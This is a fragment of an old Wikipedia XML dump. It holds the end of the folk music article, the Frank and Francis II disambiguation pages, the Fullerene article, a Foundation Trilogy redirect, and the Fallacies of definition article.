One of the more unusual offshoots of modern folk music is the genre now known as [[filk]], a form of music defined primarily by who its audience is.

Another trend is &quot;antifolk,&quot; begun in New York City in the 1980s by [[Lach]] [http://www.lachtoday.com] in response to the confines traditional folk music. It now has a home at the Antihootenany in the East Village, where artists like Beck, the Moldy Peaches and Nellie McKay got their starts, and artists such as [[Robin Aigner]][http://www.robinaigner.html]'s [[Royal Pine]][http://www.royalpinemusic.com], [[Matt Singer]][http://www.matt-singer.com], [[Phoebe Kreutz]] and [[Curtis Eller]][http://www.curtiseller.com] continue to push the envelope of &quot;folk.&quot;

Folk music is still extremely popular among some audiences today, with folk music clubs meeting to share traditional-style songs, and there are major folk music festivals in many countries, eg the [[Port Fairy Folk Festival]] is a major annual event in Australia attracting top international folk performers as well as many local artists. Indeed, even for those who consider themselves hip, the arrival of [[Americana]] and the music of  [[Bonnie &quot;Prince&quot; Billy]] and [[Devendra Banhart]] has shown that Folk Music can still be cutting edge. 

The [[Cambridge Folk Festival]] in [[Cambridge]], [[England]] is always sold out within days, and is noted for having a very wide definition of who can be invited as folk musicians. The &quot;club tents&quot; allow attendees to discover large numbers of unknown artists, who, for ten or fifteen minutes each, present their work to the festival audience.

==Pastiche and parody==
[[Popular culture]] sometimes creates [[pastiche]]s of folk music for its own ends.  

One famous example is the pseudo-ballad sung about brave Sir Robin in the film ''[[Monty Python and the Holy Grail]]''. Enthusiasts for folk music might properly consider this song to be pastiche and not [[parody]], because the tune is pleasant and far from inept, and the topic being lampooned is not balladry but the medieval heroic tradition.  The arch-shaped melodic form of this song (first and last lines low in pitch, middle lines high) is characteristic of traditional English folk music.  A more recent similarly incisive send-up of folk music, this time American in origin, is the film ''[[A Mighty Wind]]'' by [[Christopher Guest]] and [[Eugene Levy]].

In the [[magazine]] ''fRoots'' there was a long-running [[parody]] of [[the English Folk Dance and Song Society]] (EFDSS). They were called &quot;Dance Earnestly and Forget About Song Society&quot; (DEAFASS). DEAFASS supporters favored the [[accordion]] over the [[melodeon]] and the [[string bass]] over the [[electric bass]].

Another instance of pastiche is the notoriously well-known theme song for the television show ''[[Gilligan's Island]]'' (music by [[George Wyle]], lyrics by [[Sherwood Schwartz]]).  This tune is also folk-like in character, and in fact is written in a traditional folk [[mode (music)|mode]] (modes are a type of [[musical scale]]); the mode of &quot;Gilligan's Island&quot; is ambiguous between Dorian and Aeolian.  The lyrics begin with the traditional folk device in which the singer invites his hearers to listen to the tale that follows.  Moreover, two of the stanzas repeat the final short line, a common device in English folk stanzas.   However, the raising of the key by a semitone with each new verse is an unmistakable trait of [[popular music|commercial music]] and never occurred in the original folk tradition.

Folk music is easy to [[parody]] because it is, at present, a [[popular music]] genre that relies on a traditional music genre.  As such, it is likely to lack the sophistication and glamour that attach to other forms of popular music. Folk music satire ranges from the worst excesses of [[Rambling Syd Rumpo]] and [[Bill Oddie]] to the deft and subtle artistry of [[Sid Kipper]], [[Eric Idle]] and [[Tom Lehrer]].  Even &quot;serious&quot; folk musicians are not averse to poking fun at the form from time to time, for example [[Martin Carthy|Martin Carthy's]] devastating rendition of &quot;All the Hard Cheese of Old England&quot; (written by [[Les Barker]]), to the tune of &quot;All the Hard Times of Old England&quot;, [[Robb Johnson]]'s &quot;Lack of Jolly Ploughboy,&quot; and more recently &quot;I'm Sending an E-mail to Santa&quot; by the [[Yorkshire]]-based harmony group [[Artisan (group)|Artisan]].  Other musicians have been known to take  the tune of a traditional folk song and add their own words, often humourous, or on a similar-sounding yet different subject; these include [[The Wurzels]] and [[Dr. Busker|The Incredible Dr. Busker]].

[[Filk music]] is a closely related musical genre which originated as parodies of folk songs, and parody remains a dominant theme of the style. It is evolving into a true folk tradition, however, with songs learned orally that are undergoing the &quot;folk process&quot; of change in melody and text.

'''Folkies''' is the popular term for folk music enthusiasts.

While the term itself is neutral, and is used by some folk music enthusiasts in an informal and friendly manner, it has at times been used by the [[Mass media|popular press]] at least since the late 1950s, as part of a light-hearted [[beatnik]] stereotype.

==Media==
{{multi-listen start}}
{{multi-listen item|filename=Barbara Allen.ogg|title=Barbara Allen|description=''[[Barbara Allen]]'' is a traditional [[folk ballad]]. |format=[[Ogg]]}}
{{multi-listen item|filename=Home on the range.ogg|title=Home on the Range|description=A recording of the song from Raiford Penitentiary, Florida, 1939.|format=[[Ogg]]}}
{{multi-listen item|filename=O Solo Mio.ogg|title=O Sole Mio|description=Sung by [[Enrico Caruso]]||format=[[Ogg]]}}
{{multi-listen item|filename=La Partida.ogg|title=La Partida|description=Sung by [[Enrico Caruso]]|format=[[Ogg]]}}
{{multi-listen item|filename=Dixie (1916).ogg|title=&quot;Dixie&quot;|description=1916 Dixie rendition|description=1916 rendition of [[Dixie (song)|Dixie]] by the Metropolitan Mixed Chorus, with [[Frank Stanley]], [[Ada Jones]], [[Billy Murray (singer)|Billy Murray]]|format=[[Ogg]]}}
{{multi-listen end}}

==See also==
*[[American folk music]]
*[[Music_of_Crete|Cretan folk music]]
*[[Child Ballads]]
*[[Christmas carol]]
*[[Folk clubs]]
*[[Folk instrument]] - a description and list of folk instruments
*[[Hymn]]
*[[Serbian folk music]] - list of Serbian folk songs
*[[List of folk music genres]]
*[http://www.dancingturtle.co.uk  Dancing Turtle]
*[[Inn til vegge]] - a set of traditional music [[song games]] in [[Bergen, Norway|Bergen]], [[Norway]]

==External links==
===General===
* [http://www.folklib.net/folkfile/ The Folk File] A huge, rich, and well-written compendium of material about folk music, especially that of North America and the British Isles.
===Folksong material===
* [http://www.mudcat.org/ mudcat.org], the home of the [[Digital Traditions]] (DIGITRAD) folksong database.  The latest (2002) edition of DIGITRAD contains lyrics, and in some cases tunes or chords, for around 9000 folk rock, folk revival, and authentic American, English, and Irish folk songs, as well as some parodies.  The database may be searched online, or downloaded as a standalone application.  Another portal to DIGITRAD with file formats converted to emerging standards (e.g. [[ABC (musical notation)|ABC]]) is available at http://sniff.numachi.com/~rickheit/dtrad/.
* [http://www.tinwhistler.com Wandering Whistler Music Archives] The Wandering Whistler Music Archives contain sheet music, MIDI files, some with recordings, chords, and lyrics, for around 1000 Irish folk tunes and songs, with a heavy emphasis on Irish and Scottish folk.
* [http://www.csufresno.edu/folklore/BalladSearch.html The Traditional Ballad Index] search page.  Provides bibliographic information and some theoretical genealogical information for many ballads in English.
* http://www.canugwerin.org/ The website of the [[Welsh Folk-Song Society]], founded in 1906.
*[http://www.travel-impressions.de/music/dichosa.htm Photos of Regional and Cultural Genres of Music and Dance] 
* [http://www.dunav.org.il Balkan folk music downloads]
* http://www.smsu.edu/folksong/maxhunter/.  The Max Hunter Folk Song Collection is a set of about 1600 field recordings made by [[Max Hunter]] between 1956 and 1976 in the Ozark Mountain region of Missouri.  The recordings are downloadable.
*[http://www.birchmore.clara.net/ Northumbrian Traditional Music] The folk music of Northumbria in North-East England.
* The [http://mtcn.free.fr  folk music in the county of Nice] (France) : hundreds of MIDI files, lyrics, music sheets.
*  http://www.turkudostlari.net   (Turkey) :Turk, Middle East,Balkan  MIDI files, Turkish folk music lyrics, music sheets. (In Turkish)
* http://ingeb.org.  A list of folksongs from all over the world
* http://www.volksmusiknet.ch/. Swiss Folkmusic
* [[Musipedia]] contains several thousand folk music tunes. [http://www.musipedia.org musipedia.org]
* http://www.tritonus.ch/. Swiss Folkmusic and -instruments 
* [http://www.geocities.com/krofnic/index1.htm Pticice] - a free MP3 album of native Serbian music
* http://folktunes.org/. The Folktunes Wiki, with streaming and downloadable songs, lyrics, and all things folk.  In its infancy.
* [http://www.folkalley.com FolkAlley.com] - 24-hour streaming folk music
* [http://www.folkandroots.co.uk Folk and Roots]- A guide to the folk scene in the UK
*[http://www.floridamemory.com/Collections/folklife/folklife_cd.cfm Music from the Florida Folklife Collection] - From ''Shove It Over'', a WPA recording of a work song performed by Zora Neale Hurston, to ''Orange Blossom Special'', performed by Gamble Rogers and Will McLean, this CD spans fifty years of Florida folk music. The recordings are downloadable.
*[http://digital.library.wisc.edu/1711.dl/WiscFolkSong Wisconsin Folksong Collection, 1937-1946]. Presented by the [http://uwdc.library.wisc.edu/ University of Wisconsin Digital Collections Center] and [http://music.library.wisc.edu/ Mills Music Library Special Collections]. The Wisconsin Folksong Collection, 1937-1946 contains Wisconsin field recordings, notes, and photographs made by UW-Madison faculty member Helene Stratman-Thomas as part of the Wisconsin Folk Music Recording Project, co-sponsored by the University of Wisconsin and the Library of Congress during the summers of 1940, 1941, and 1946; and recordings collected by song catcher Sidney Robertson Cowell during the summer of 1937 for the Special Skills Division of the Resettlement Administration.

===Folk Festivals===
*[http://www.folkdranouter.be Folkfestival Dranouter:] An annual folk festival in Belgium, attracting over 70 000 visitors, which combines traditional with contemporary music.

===History===
*[http://libcom.org/history/articles/revolutionary-song-france People's history: Political folk song in France, 1789-1989]
*[http://libcom.org/history/articles/revolutionary-song-italy People's history: Political song in Italy, 1862-1999]

===Pastiche and parody===
*[http://arago4.tn.utwente.nl/stonedead/movies/holy-grail/scene-10.html A web page on &quot;The Ballad of Sir Robin&quot;, with lyrics and sound file]
*Gilligan's Island theme:  
**[http://www.gilligansisle.com/wave.html Sound files]
**[http://www.geocities.com/rickanddarvagossip/gilliganthemesong.html Lyrics:  one of many sites ]

==References==
*''English Folk Songs from the Southern Appalachians''. Collected by Cecil J. Sharp. Ed. Maud Karpeles. 1932. London. Oxford University Press.
*Carson, Ciaran (1997). ''Last Night's Fun: In and Out of Time with Irish Music''. North Point Press.
*Harker, David (1985). ''Fakesong: The Manufacture of British 'Folksong', 1700 to the Present Day''. Cited in van der Merwe (1989).
*Karpeles, Maud. ''An Introduction to English Folk Song''. 1973. Oxford. Oxford University Press.
*Middleton, Richard (1990/2002). ''Studying Popular Music''. Philadelphia: Open University Press. ISBN 0335152759.
*Seeger, Charles (1980). Cited in Middleton (2002)
*Sharp, Cecil. ''Folk Song: Some Conclusions''. 1907. Charles River Books
*van der Merwe, Peter (1989). ''Origins of the Popular Style: The Antecedents of Twentieth-Century Popular Music''. Oxford: Clarendon Press. ISBN 0193161214. 

[[Category:Folk music]]
[[Category:Folklore]]

[[da:Folkemusik]]
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[[es:Música folclórica]]
[[fr:Musique Folk]]
[[hu:Népzene]]
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[[ja:&amp;#12501;&amp;#12457;&amp;#12540;&amp;#12463;&amp;#12477;&amp;#12531;&amp;#12464;]]
[[pl:Muzyka ludowa]]
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[[uk:&amp;#1053;&amp;#1072;&amp;#1088;&amp;#1086;&amp;#1076;&amp;#1085;&amp;#1072; &amp;#1084;&amp;#1091;&amp;#1079;&amp;#1080;&amp;#1082;&amp;#1072;]]
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  <page>
    <title>Frank</title>
    <id>10624</id>
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      <comment>added currencies</comment>
      <text xml:space="preserve">{{Wiktionarypar2|Frank|frank}}

'''Frank''' may be:
* [[Franks]], a Germanic tribe
* [[Franc]], units of currency
* [[Franking]], the right to send mail for free
* [[Talk To Frank]], a Drugs advice website in the UK.
* [[Frankfurter]]
* [[Free]], an archaic meaning of the word in Dutch, German, and English

'''Frank''' is the name of:
* [[Andre Gunder Frank]], sociologist, known as a founder of dependency theory
* [[Anne Frank]], author of a famous diary during WW II.
*[[H. Eric Frank]] [[The Scout Association]] [[Scouting]] notable, awardee of the Bronze Wolf in 1982
* [[Hans Frank]], governor general of Nazi occupied Poland
* [[Hubert Frank]]
* [[Ilya Frank]], physicist (1958 Nobel laureate)
* [[Leo Frank]], convicted of murdering a 13 year old girl in Georgia
* [[Nino Frank]]
* [[Otto Frank]], father of Anne Frank
* [[Robert Frank]], photographer
* [[Jacob Frank]], founder of a Jewish dissident sect
* [[Cèsar Frank]], 19th century French composer, teacher and organist.

In '''geography''':
* [[Frank, Alberta]]
* [[Frank Township, North Carolina]]
* [[Frank, West Virginia]]

In '''popular culture''':
* [[Frank (album)]], by Squeeze
* [[Frank (Amy Winehouse album)]]
* [[Frank (magazine)]], a Canadian scandal sheet
* [[Frank (Donnie Darko)]], the giant rabbit from the movie
* [[Frank and Ernest]], the cartoon
* Frank the diesel engine, a locomotive in [[The Railway Series]].
* Frank the Goat, the [[LiveJournal]] mascot.
* Frank, the four piece girl band in [[Totally Frank]].

'''Currencies''':
*[[Liechtenstein frank]]
*[[Westphalian frank]]
== See also ==

* [[Franck]], [[Frankel]]

[[Category:Surnames]]

{{disambig}}

[[de:Frank]]
[[ko:프랑크]]
[[hu:Frank]]
[[nl:Frank]]
[[ja:フランク]]
[[ru:Франк]]
[[sl:Frank (razločitev)]]
[[sv:Frank]]</text>
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    <title>Director (film)</title>
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    <title>Fermats Last Theorem</title>
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    <title>Fiddle and violin</title>
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  <page>
    <title>Fullerene</title>
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      <text xml:space="preserve">[[Image:Fullerene c540.png|thumb|right|250px|The Icosahedral Fullerene C&lt;sub&gt;540&lt;/sub&gt;]]
The '''fullerenes''' are recently-discovered [[allotropes of carbon|allotropes of carbon]].  They are [[molecule|molecules]] composed entirely of [[carbon]], in form of a hollow [[sphere]], [[ellipsoid]], or [[cylinder (geometry)|tube]]. Spherical fullerenes are sometimes called '''buckyballs''', and cylindrical fullerenes are called '''buckytubes''' or '''[[Carbon nanotube|nanotubes]]'''.

==Naming==
Buckminsterfullerene (C&lt;sub&gt;60&lt;/sub&gt;) was named for [[Richard Buckminster Fuller]], a noted architect who popularized the [[geodesic dome]]. Since buckminsterfullerenes have a similar shape to that sort of dome, the name was thought to be appropriate.

Fullerenes are similar in structure to [[graphite]], which is composed of a sheet of linked hexagonal rings, but they contain pentagonal (or sometimes heptagonal) rings that prevent the sheet from being planar.

==Buckminsterfullerene==
[[Image:C60a.png|thumb|right|250px|Buckminsterfullerene (C&lt;sub&gt;60&lt;/sub&gt;)]]
The smallest fullerene in which no two pentagons share an edge (which is destabilizing &amp;#8212; see [[pentalene]]) is C&lt;sub&gt;60&lt;/sub&gt; ('''buckminsterfullerene'''), and this is also the most common.

The structure of C&lt;sub&gt;60&lt;/sub&gt; is a [[truncated icosahedron]], which resembles a round [[football (ball)|soccer ball]] of the type made of hexagons and pentagons, with a carbon atom at the corners of each hexagon and a bond along each edge. A [[polymer]]ized single-walled nanotubule ([[P-SWNT]]) is a substance composed of polymerized fullerenes in which carbon atoms from one buckytube bond with carbons in other buckytubes.

==Prediction and discovery==
In molecular beam experiments, discrete peaks were observed corresponding to molecules with the exact mass of 60 or 70 or more carbon atoms.  [[Harold Kroto]], from the [[University of Sussex]], James Heath, Sean O'Brien, [[Robert Curl]] and [[Richard Smalley]], from [[Rice University]], discovered C&lt;sub&gt;60&lt;/sub&gt; and the fullerenes in 1985.  Kroto, Curl, and Smalley were awarded the 1996 [[Nobel Prize in Chemistry]] for their roles in the discovery of this class of compounds.  C&lt;sub&gt;60&lt;/sub&gt; and other fullerenes were later noticed occurring outside of a laboratory environment (e.g. in normal [[candle]] soot).  By [[1991]], it was relatively easy to produce grams of fullerene powder using the techniques of [[Donald Huffman]] and [[Wolfgang Krätschmer]]. [[Fullerene purification]] remains a challenge to chemists and determines fullerene prices to a large extent. So called [[endohedral fullerenes]] have ions or small molecules incorporated inside the cage atoms. Fullerene is an unusual reactant in many [[organic reaction]]s such as the [[Bingel reaction]] discovered in 1993.

==Properties==
As of the early 21st century, the chemical and physical properties of fullerenes are still under heavy study, in both pure and applied research labs. In April 2003, fullerenes were under study for potential medicinal use: binding specific [[antibiotic]]s to the structure to target resistant [[bacterium|bacteria]] and even target certain [[cancer]] cells such as [[melanoma]]. The October 2005 issue of [[Chemistry and Biology]] contains an article [http://linkinghub.elsevier.com/retrieve/pii/S1074-5521(05)00270-X] describing the use of fullerenes as light-activated [[antimicrobial]] agents.

Fullerenes are not very reactive due to the stability of the graphite-like bonds, and are also sparingly soluble in many [[solvent]]s. Common solvents for the fullerenes include [[toluene]] and [[carbon disulfide]]. Solutions of pure Buckminsterfullerene have a deep purple color. Fullerenes are the only known [[allotrope]] of carbon that can be dissolved.

Other atoms can be trapped inside fullerenes, and indeed recent evidence for a meteor impact at the end of the [[Permian]] period was found by analysing [[noble gas]]es so preserved.

In the field of [[nanotechnology]], heat resistance and [[superconductivity]] are some of the more heavily studied properties.

A common method used to produce fullerenes is to send a large current between two nearby graphite electrodes in an inert atmosphere. The resulting [[carbon]] [[Plasma (physics)|plasma]] arc between the electrodes cools into sooty residue from which many fullerenes can be isolated.

===Quantum mechanics of fullerenes===
Researchers have been able to increase the reactivity by attaching active groups to the surfaces of fullerenes. Buckminsterfullerene does not exhibit &quot;[[superaromaticity]]&quot;: that is, the electrons in the hexagonal rings do not [[delocalize]] over the whole molecule.

A spherical fullerene of ''n'' carbon atoms has ''n'' [[pi-bond]]ing electrons. These should try to delocalize over the whole molecule. The quantum mechanics of such an arrangement should be like one shell only of the well-known quantum mechanical structure of a single atom, with a stable filled shell for ''n'' = 2, 8, 18, 32, 50, 98, 128, etc, i.e. twice a perfect square; but this series does not include 60. As a result, C&lt;sub&gt;60&lt;/sub&gt; in water tends to pick up two more electrons and become an [[anion]]. The nC&lt;sub&gt;60&lt;/sub&gt; described below may be the result of C&lt;sub&gt;60&lt;/sub&gt;'s trying to form a [[metallic bonding]] type loose combination.

== Possible dangers ==
Although buckyballs have been thought in theory to be relatively inert, a presentation given to the [[American Chemical Society]] in March [[2004]] and described in an article in  [[New Scientist]] on [[April 3]] [[2004]], suggests the molecule is injurious to organisms. An experiment by Eva Oberdörster at [[Southern Methodist University]], which introduced fullerenes into water at concentrations of 0.5 parts per million, found that [[largemouth bass]] suffered a 17-fold increase in cellular damage in the brain tissue after 48 hours. The damage was of the type [[lipid peroxidation]], which is known to impair the functioning of [[cell membrane]]s. There were also inflammatory changes in the liver and activation of genes related to the making of repair enzymes. At the time of presentation, the SMU work had not been [[peer review]]ed.

Pristine C&lt;sub&gt;60&lt;/sub&gt; can be suspended in water at low concentrations as large clusters often termed nC&lt;sub&gt;60&lt;/sub&gt;.  These clusters are spherical clumps of C&lt;sub&gt;60&lt;/sub&gt; between 250-350 nm in diameter.  Thus, nC&lt;sub&gt;60&lt;/sub&gt; represents a different chemical entity than solutions of C&lt;sub&gt;60&lt;/sub&gt; in which the fullerenes exist as individual molecules.  Recently, results presented at the ACS meeting in Anaheim, CA suggest that nC&lt;sub&gt;60&lt;/sub&gt; is moderately toxic to water fleas and juvenile largemouth bass at concentrations in water of around 800 ppb.   The first study of its kind on marine life, these preliminary results quickly spread across the scientific community.  However, the overwhelming evidence of the essential non-toxicity of C&lt;sub&gt;60&lt;/sub&gt; (not nC&lt;sub&gt;60&lt;/sub&gt;) in previously peer-reviewed articles of C&lt;sub&gt;60&lt;/sub&gt; and many of its derivatives indicates that our compounds are likely to have little (if any) toxicity, especially at the very low concentration at which it is used (~1-10 µM).

==Fullerene extract mixture (C&lt;sub&gt;60&lt;/sub&gt;/C&lt;sub&gt;70&lt;/sub&gt;) solubility==

Solvents that dissolve fullerenes are listed below in order from highest solubility. The value in parentheses is the approximate saturated concentration.
# [[1,2,4-trichlorobenzene]] (20mg/ml) 
# [[carbon disulfide]] (12mg/ml) 
# [[toluene]] (3.2mg/ml) 
# [[benzene]] (1.8mg/ml) 
# [[chloroform]] (0.5mg/ml) 
# [[carbon tetrachloride]] (0.4mg/ml) 
# [[cyclohexane]] (0.054mg/ml) 
# [[n-hexane]] (0.046mg/ml) 
# [[THF]] (0.037mg/ml) 
# [[acetonitrile]] (0.02mg/ml) 
# [[methanol]] (0.0009mg/ml)

== Diffraction of fullerene ==
In [[1999]], researchers from the [[University]] of [[Vienna]] {{an|Arndt}} demonstrated that the [[wave-particle duality]] applied to macro-molecules such as fullerene.

==Notes==
# {{anb|Arndt}} ''Wave-particle duality of C60'', M. Arndt , O. Nairz, J. Voss-Andreae, C. Keller, G. van der Zouw, [[Anton Zeilinger|A. Zeilinger]], ''Nature'' 401, 680-682, [[14 October]] [[1999]]

==Mathematics of fullerenes== 
In [[mathematics|mathematical]] terms, the structure of a '''fullerene''' is a trivalent convex polyhedron with pentagonal and hexagonal faces.  In [[Graph theory|graph theory]], the term '''fullerene''' refers to any 3-[[Regular graph|regular]], [[Planar graph|planar]] graph with all faces of size 5 or 6 (including the external face). Using Euler's formula F - E + V = 2, (plus the fact that every vertex in a fullerene structure belongs to exactly 3 faces) one can easily prove that there are exactly 12 pentagons in a fullerene.

The smallest fullerene is the [[dodecahedron]]--the unique C&lt;sub&gt;20&lt;/sub&gt;. There are no fullerenes with 22 vertices. The number of fullerenes C&lt;sub&gt;2n&lt;/sub&gt; grows with increasing n = 12,13,14... For instance, there are 1812 non-isomorphic fullerenes C&lt;sub&gt;60&lt;/sub&gt;.  Note that only one of the C&lt;sub&gt;60&lt;/sub&gt;'s, the buckminsterfullerene alias [[truncated icosahedron]], has no pair of adjacent pentagons (the smallest such fullerene).  To further illustrate the growth, there are 214,127,713 non-isomorphic fullerenes C&lt;sub&gt;200&lt;/sub&gt;, 15,655,672 of which have no adjacent pentagons.

==Fullerenes in popular culture==
Examples of '''fullerenes in popular culture''' are numerous. In fact, [[fullerene]]s appeared in [[popular culture]] well before science started to take serious interest in them.

*In ''[[New Scientist]]'' there used to be a weekly column called ''Daedelus'' written by David Jones, which contained humourous descriptions of unlikely technologies. In 1966 the columnist included a description of the C&lt;sub&gt;60&lt;/sub&gt; and other forms of graphite. This was meant as pure entertainment.
*Also in the ''New Scientist'' magazine, a free book was enclosed entitled, &quot;100 Things to Do Before You Die&quot;, one of which was to kick a buckyball.
*[[Stel Pavlou]] uses buckyballs, nanotechnology and complexity theory in the creation of flocking nano-swarms that form human-sized golems in the novel ''[[Decipher (novel)|Decipher]]'' [[2001]]. 
*Science fiction writer [[Neal Stephenson]] uses buckyballs as nanotechnological containers for things such as [[rod logic]] computers in his 1995 [[cyberpunk]]/[[postcyberpunk]] novel ''[[The Diamond Age]]''.
*Buckyballs show up in ''Green Mars'' by [[Kim Stanley Robinson]] as a result of the fall of the first [[space elevator]] onto the surface of Mars.
*In the Walt [[The Walt Disney Company|Disney]] film, ''[[Flubber]]'', the formula and molecular structure of the Flubber was modeled after buckminsterfullerene.
*In the [[Global Television Network|Global]] television series ''[[ReGenesis]]'', buckyballs are the primary component of a HazMat suit produced by government contractor, Shining Armor.

==Media==
{{multi-video start}}
{{multi-video item |
  filename      = c540 stereo animation.gif |
  title         = Rotating C&lt;sub&gt;540&lt;/sub&gt; animation |
  description   = Rotating [[stereogram]] of the C&lt;sub&gt;540&lt;/sub&gt; structure. (4.30 [[Megabyte|MB]], [[animated GIF]] format). |
  format        = [[animated GIF]]
}}
{{multi-video end}}

==Further reading==
*''The Most Beautiful Molecule: The Discovery of the Buckyball'' by Hugh Aldersey-Williams (John Wiley &amp; Sons, 1995) ISBN 0-471-19333-X

== See also ==
*[[Carbon nanotube]]
*[[Dodecahedrane]]
*[[Graphene]]
*[[Polyhedron]]
*[[Geodesic dome]]
*[[Prismane C8]]
*[[Fictional applications of real materials]]

==External links==
{{commons|Buckminsterfullerene}}
* [http://www.mindspring.com/~kimall/Fuller/index.html Kim Allen]
* [http://cnst.rice.edu/ Center for Nanoscale Science and Technology]
* [http://www.nobel.se/chemistry/laureates/1996/smalley-autobio.html Dr. Smalley's brief autobiography]
* [http://www.chem.rice.edu/CHEM_faculty_dtl.cfm?FDSID=437 Dr. Smalley's webpage] 
* [http://www.sciencedaily.com//releases/2003/04/030418081522.htm Potential use of fullerenes in medicine]
* [http://www.vincentherr.com/cf/ Carbon Fullerene &amp; Nanotube Models ] Vincent Herr, Houston, TX
* [http://3dscience.com/nanotechnology_buckyball_fullerene.asp Fullerene Images for Web and Presentation]
* [http://www.physorg.com/news1667.html Discovery of graphene]
* [http://www.quantum.univie.ac.at/research/matterwave/c60/index.html Diffraction and Interference with Fullerenes: Wave-particle duality of C60], University of Vienna
* Fullerene-based architectures for quantum computing in [http://www.physik.fu-berlin.de/~ag-harneit Germany] and in [http://www.nanotech.org Great Britain] at the [http://www.qipirc.org QIP IRC]
* [http://www.bluerhinos.co.uk/molview/indv.php?id=3 Molview from bluerhinos.co.uk] See Buckminsterfullerene (C&lt;sub&gt;60&lt;/sub&gt;) in 3D
* [http://www.sciencetechnologies.com/molviz/molviz.swf Interactive 3D molecular visualization of fullerene] (requires [[Macromedia Flash]])
* [http://www.compchemwiki.org/index.php?title=Buckminsterfullerene Computational Chemistry Wiki]

[[Category:Chemical elements|Carbon, Fullerene]]
[[Category:Nanotechnology]]
[[Category:Carbon forms]]
[[Category:Chemical compounds with unusual names]]
[[Category:Buckminster Fuller]]
[[Category:science fiction themes]]
[[Category:In popular culture]]
[[cs:Fulleren]]
[[de:Fulleren]]
[[es:Fulereno]]
[[eo:Fulereno]]
[[fr:Fullerène]]
[[it:Fullerene]]
[[he:פולרין]]
[[nl:Fullereen]]
[[ja:フラーレン]]
[[pl:Fuleren]]
[[pt:Buckminsterfullerenos]]
[[ro:Fulerene]]
[[ru:Фуллерены]]
[[su:Fullerin]]
[[fi:Fullereeni]]
[[sv:Fulleren]]
[[zh:富勒烯]]</text>
    </revision>
  </page>
  <page>
    <title>Francis II</title>
    <id>10629</id>
    <revision>
      <id>33869857</id>
      <timestamp>2006-01-04T18:33:39Z</timestamp>
      <contributor>
        <username>Gdr</username>
        <id>55814</id>
      </contributor>
      <comment>oops</comment>
      <text xml:space="preserve">'''Francis II''' may refer to:

* [[Francis II, Duke of Brittany]] (1433–1488).
* [[Francis II of France]] (1544–1560).
* [[Francis II, Duke of Lorraine]] (1572–1632).
* [[Francesco II d'Este]], Duke of Modena (1662–1694).
* [[Francis II Rákóczi]], Duke of Transylvania (1676–1735).
* [[Francis II, Holy Roman Emperor]] (1768–1835).
* [[Francis II of the Two Sicilies]] (1836–1894).
* [[Franz, Duke of Bavaria]] (born 1933), called &quot;Francis II&quot; by supporters of the [[Jacobitism|Jacobite]] claim to the British throne.

{{disambig}}

[[es:Francisco II]]
[[it:Francesco II]]</text>
    </revision>
  </page>
  <page>
    <title>Foundation Trilogy</title>
    <id>10630</id>
    <revision>
      <id>15908430</id>
      <timestamp>2003-08-31T17:53:37Z</timestamp>
      <contributor>
        <ip>128.175.29.106</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[The_Foundation_Series]]</text>
    </revision>
  </page>
  <page>
    <title>Fallacies of definition</title>
    <id>10632</id>
    <revision>
      <id>35571052</id>
      <timestamp>2006-01-17T19:00:13Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <minor />
      <comment>/* Over-broad definitions */ tighten</comment>
      <text xml:space="preserve">'''Fallacies of definition''' refer to the various ways in which [[definition]]s can fail to have merit. The term is used to suggest analogy with the [[logical fallacy|logical fallacies]].  This is a typical sort of list found in texts used in [[college logic]] courses.

== Circularity ==

There is a general name for the first two sorts of error: ''[[circular definition]]''.  A circular definition is somewhat similar to a [[begging the question|question-begging]] argument: neither offers us enlightenment about the thing we wanted to be enlightened about.

=== Defining with a synonym ===
A definition is no good if it simply gives a one-word [[synonym]].  For example, suppose we define the word &quot;[[virtue]]&quot;&amp;mdash;an important word in [[ethics]]&amp;mdash;just using the word &quot;[[excellence]].&quot;  It might be perfectly true that all virtues are excellences and all excellences are virtues (that was perhaps an ancient Greek view; see ''[[Arete (excellence)|arete]]''), but the word &quot;excellence&quot; by itself is ''not'' a good definition of &quot;virtue&quot; in philosophy.  One can always simply ask, &quot;But what does 'excellence' mean?&quot;  Surely, if one has a basic confusion about what &quot;virtue&quot; means, then one will ''also'' have a basic philosophical confusion about what &quot;excellence&quot; means.  So it will not do to define one simply by stating the other.

=== Defining with a near synonym ===

A definition is no good if it uses a very near synonym in the definition.  For example, suppose we define '[[beauty|beautiful]]' as 'possessing [[aesthetic]] value'.  The words 'beautiful' and 'aesthetic' are very nearly the same in meaning; so if anyone is deeply confused or curious about beauty, then he is of course going to be confused or curious about the aesthetic.  The question is what general characteristics are possessed by all beautiful objects, ''or'' all objects that have aesthetic value.

== Over-broad definitions ==
Definitions can be ''too broad''.
Suppose we define '[[bachelor]]' as 'unmarried [[male]]'.
At first glance this might look correct, but male is a word that can apply to many things. For example, male [[dog]]s and male [[baby|babies]] are not considered bachelors.
A definition is too broad if it applies to things that are not part of the [[extension (semantics)|extension]] of the word defined.
To correct this fallacy, narrow the definition.
In this case, 'bachelor' ''can'' mean 'unmarried man'.

== Over-narrow definitions ==
Definitions can be ''too'' ''narrow''.  That is, they can ''exclude'' some things that they ''should'' apply to; they fail to describe some members of the word's [[extension (semantics)|extension]].  Here is an example of a narrow definition: 'piece of [[furniture]]' means 'object used to sit on'.  Of course, some pieces of furniture are not used to sit on; for example, we put objects on them (like [[Table (furniture)|tables]]) or we put our feet on them (like [[footstool]]s), and so forth.  So even though ''some'' pieces of furniture are objects that are used to sit on, not ''all'' furniture is used to sit on.  We need a broader definition: we might add other qualifying characteristics, like 'used to put feet up on' or 'used to put household objects on', for example.  That would make the extension of the definition bigger--that is, the definition would apply to more things, and more of the things that we use the word 'furniture' to describe.  We might also choose to entirely rewrite the definition, since laundry lists of characteristics strung together by 'or' are generally regarded by philosophers as not describing a unitary concept.

== Obscurity ==

Definitions can go wrong by using [[ambiguous]], obscure, or [[Figurative language|figurative]] language.  Suppose we defined '[[love]]' as 'the insensible quivering of the soul'.  This is useless.  Given a definition like this, one has the right to ask: but ''what'' ''is'' the insensible quivering of the soul?  How would we recognize it?  Is Johnny's soul insensibly quivering right now?  And so on. Definitions should be stated in plain, straightforward language that can be understood by the people to whom the definitions are given.  See [[jargon]].

An oft quoted example is [[Samuel_Johnson|Samuel Johnson's]] definition for [[oat]]s: &quot;Oats: a grain which in [[England]] is generally given to horses, but in [[Scotland]], supports the people.&quot;

To which his Scots associate, [[James Boswell]], replied &quot;That is why England is chiefly noted for its horses and Scotland for its people&quot; (slight paraphrase).

[[Category:Logic]]</text>
    </revision>
  </page>
  <page>
